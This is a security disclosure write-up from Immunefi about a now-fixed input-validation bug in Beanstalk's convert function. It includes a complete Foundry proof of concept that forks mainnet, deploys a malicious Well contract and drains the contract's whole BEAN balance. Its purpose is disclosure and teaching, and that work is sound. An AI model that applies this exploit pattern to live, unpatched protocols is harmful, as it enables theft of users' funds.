Beanstalk Insufficient Input Validation Bugfix Review

Beanstalk Introduction
Beanstalk is a credit-based stablecoin protocol on Ethereum that aims to reinvent the existing collateralized stablecoin market. Unlike traditional models relying on collateral, Beanstalk uses a credit system to create a decentralized and liquid asset.
The protocol introduces BEAN, its stablecoin, as the core of an Ethereum-native, rent-free economy. Beanstalk primarily focuses on encouraging participants to balance the BEAN price around $1 by adjusting the supply based on its creditworthiness.
When BEAN prices are below $1, the protocol attracts lenders to stabilize the value, and when prices go too high, new BEANs are minted and distributed. This inflationary mechanism forms the foundation of the Beanstalk economy. You can read more about Beanstalk and its architecture here.
Vulnerability Analysis
Among the major five components of Beanstalk, the Silo functions as the Beanstalk DAO. It allows depositors to deposit their BEANs and other whitelisted LP tokens in exchange for passive yield opportunities.
The conversion between Bean and LP Deposits within the Silo is vital for maintaining the peg and is carried out through the convertFacet
. This convert feature is like a tool that lets users swap their BEANs for LP tokens when prices are high and LP tokens for BEANs when prices are low, as long as the type of conversion is whitelisted. This helps balance things out and maintain a stable price.
Let’s examine this convert function and its logic and understand the source of the vulnerability
This function invokes two internal functions. Let’s examine each one separately.
1. Consider convertData.convertWithAddress()

Here, the input data provided by the user (convertData) is decoded to get token amounts and an address, which is essentially the wellLp address.
The issue is that there’s no validation on this Well address, allowing anyone to provide a malicious contract as the Well address.
2. _wellRemoveLiquidityTowardsPeg

In the _wellRemoveLiquidityTowardsPeg()
function, the decoded Well address is used to obtain the BEANs amount (amountOut
).
A Well address (malicious contract) can return the entire BEAN balance of the Beanstalk contract as the amountOut
.
Furthermore, the lpToPeg()
function also makes calls to the same Well address, and based on that returned data, lpConverted
amount is determined. This puts lpConverted
amount essentially under the control of the attacker, allowing them to set it to zero. Consequently, amountIn
becomes zero.
Now, when the process returns to _withdrawTokens
within the convertFacet.convert
function, it can be entirely bypassed by submitting empty stems
and amounts
arrays.
So, in essence:
toToken
= BEANfromToken
= Malicious WelltoAmount
= It can be anything as it’s returned by a malicious Well. (e.g., bean.balanceOf(beanstalk))fromAmount
= 0
Ultimately, due to the aforementioned insufficient input validation, this function allowed the deposit of beans without withdrawing any tokens from the Silo, which can later be easily withdrawn.
Proof of Concept (PoC)
The Immunefi team prepared the following PoC to demonstrate the explained vulnerability.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@immunefi/PoC.sol";
import {MaliciousWell} from "../../src/Beanstalk/BeanstalkBugfixReview.sol";
import "forge-std/interfaces/IERC20.sol";
contract BeanStalkBugfixReviewTest is PoC {
IBeanStalk beanStalk =
IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
IERC20 Bean = IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab);
IERC20[] token;
address attacker;
MaliciousWell mockWell;
function setUp() public {
token.push(Bean);
// Forking the mainnet just before fix
vm.createSelectFork("https://rpc.ankr.com/eth", 18517994);
attacker = makeAddr("attacker");
mockWell = new MaliciousWell();
setAlias(address(beanStalk), "beanStalk");
setAlias(address(attacker), "Attacker");
console.log("\n>>> Initial conditions");
}
function testAttack() public snapshot(attacker, token) snapshot(address(beanStalk), token) {
uint256 balance = Bean.balanceOf(address(beanStalk));
// Constructing the convertData
IBeanStalk.ConvertKind kind = IBeanStalk.ConvertKind(6);
uint256 amountIn = 0;
uint256 minBeans = 0;
bytes memory convertData = abi.encode(kind, 0, 0, address(mockWell));
// Passing empty stems and amounts
int96[] memory stems = new int96[](0);
uint256[] memory amounts = new uint256[](0);
console.log("\n>>> Execute attack");
vm.startPrank(attacker);
// Calling the convert
beanStalk.convert(convertData, stems, amounts);
// Withdrawing whole BEAN balance of beanStalk
int96[] memory stem = new int96[](1);
stem[0] = beanStalk.stemTipForToken(address(Bean));
uint256[] memory balanceToWithdraw = new uint256[](1);
balanceToWithdraw[0] = balance;
beanStalk.withdrawDeposits(
address(Bean),
stem,
balanceToWithdraw,
IBeanStalk.To(0)
);
}
}
interface IBeanStalk {
enum To {
EXTERNAL,
INTERNAL
}
function convert(
bytes calldata convertData,
int96[] memory stems,
uint256[] memory amounts
)
external
returns (
int96 toStem,
uint256 fromAmount,
uint256 toAmount,
uint256 fromBdv,
uint256 toBdv
);
function stemTipForToken(
address token
) external view returns (int96 _stemTip);
function withdrawDeposits(
address token,
int96[] calldata stems,
uint256[] calldata amounts,
To to
) external;
enum ConvertKind {
BEANS_TO_CURVE_LP,
CURVE_LP_TO_BEANS,
UNRIPE_BEANS_TO_UNRIPE_LP,
UNRIPE_LP_TO_UNRIPE_BEANS,
LAMBDA_LAMBDA,
BEANS_TO_WELL_LP,
WELL_LP_TO_BEANS
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/interfaces/IERC20.sol";
/**
* @title MaliciousWell
*/
contract MaliciousWell {
struct Call {
address target; // The address the call is executed on.
bytes data; // Extra calldata to be passed during the call
}
MockTarget mockTarget;
Call internal _wellFunction;
IERC20[] internal _tokens = [IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab)];
uint256[] internal _reserves = [1000000];
constructor() {
mockTarget = new MockTarget();
_wellFunction = Call(
address(mockTarget),
"0x"
);
}
function wellFunction() external view returns (Call memory) {
return _wellFunction;
}
function tokens() external view returns (IERC20[] memory) {
return _tokens;
}
function getReserves() external view returns (uint256[] memory reserves) {
reserves = _reserves;
}
function removeLiquidityOneToken(
uint256 lpAmountIn,
IERC20 tokenOut,
uint256 minTokenAmountOut,
address recipient,
uint256 deadline
) external returns (uint256 tokenAmountOut) {
tokenAmountOut = tokenOut.balanceOf(msg.sender);
}
}
contract MockTarget {
function calcReserveAtRatioLiquidity(
uint256[] calldata reserves,
uint256 j,
uint256[] calldata ratios,
bytes calldata
) external pure returns (uint256 reserve){
return 10;
}
function calcLpTokenSupply(
uint256[] calldata reserves,
bytes calldata
) external pure returns (uint256 lpTokenSupply) {
lpTokenSupply = reserves[0];
}
}
Output

Vulnerability Fix
To mitigate the vulnerability, Beanstalk committed the following checks to ensure that the provided address is indeed a valid Well address.

They also added a check for the fromAmount
, ensuring that it’s always greater than zero at this commit

Acknowledgments
We would like to thank the whitehat nicole for doing an amazing job and making a responsible disclosure to Beanstalk. Big props also to the Beanstalk Immunefi Committee, who did an amazing job responding quickly to the report and resolving it.
If you’re a web2 or web3 developer who is thinking about a bug-hunting career in web3, we got you. Check out the Web3 Security Library, and start earning rewards on Immunefi — the leading bug bounty platform for web3 with the world’s biggest payouts.
And if you’re feeling good about your skillset and want to see if you will find bugs in the code, check out the bug bounty program from Beanstalk.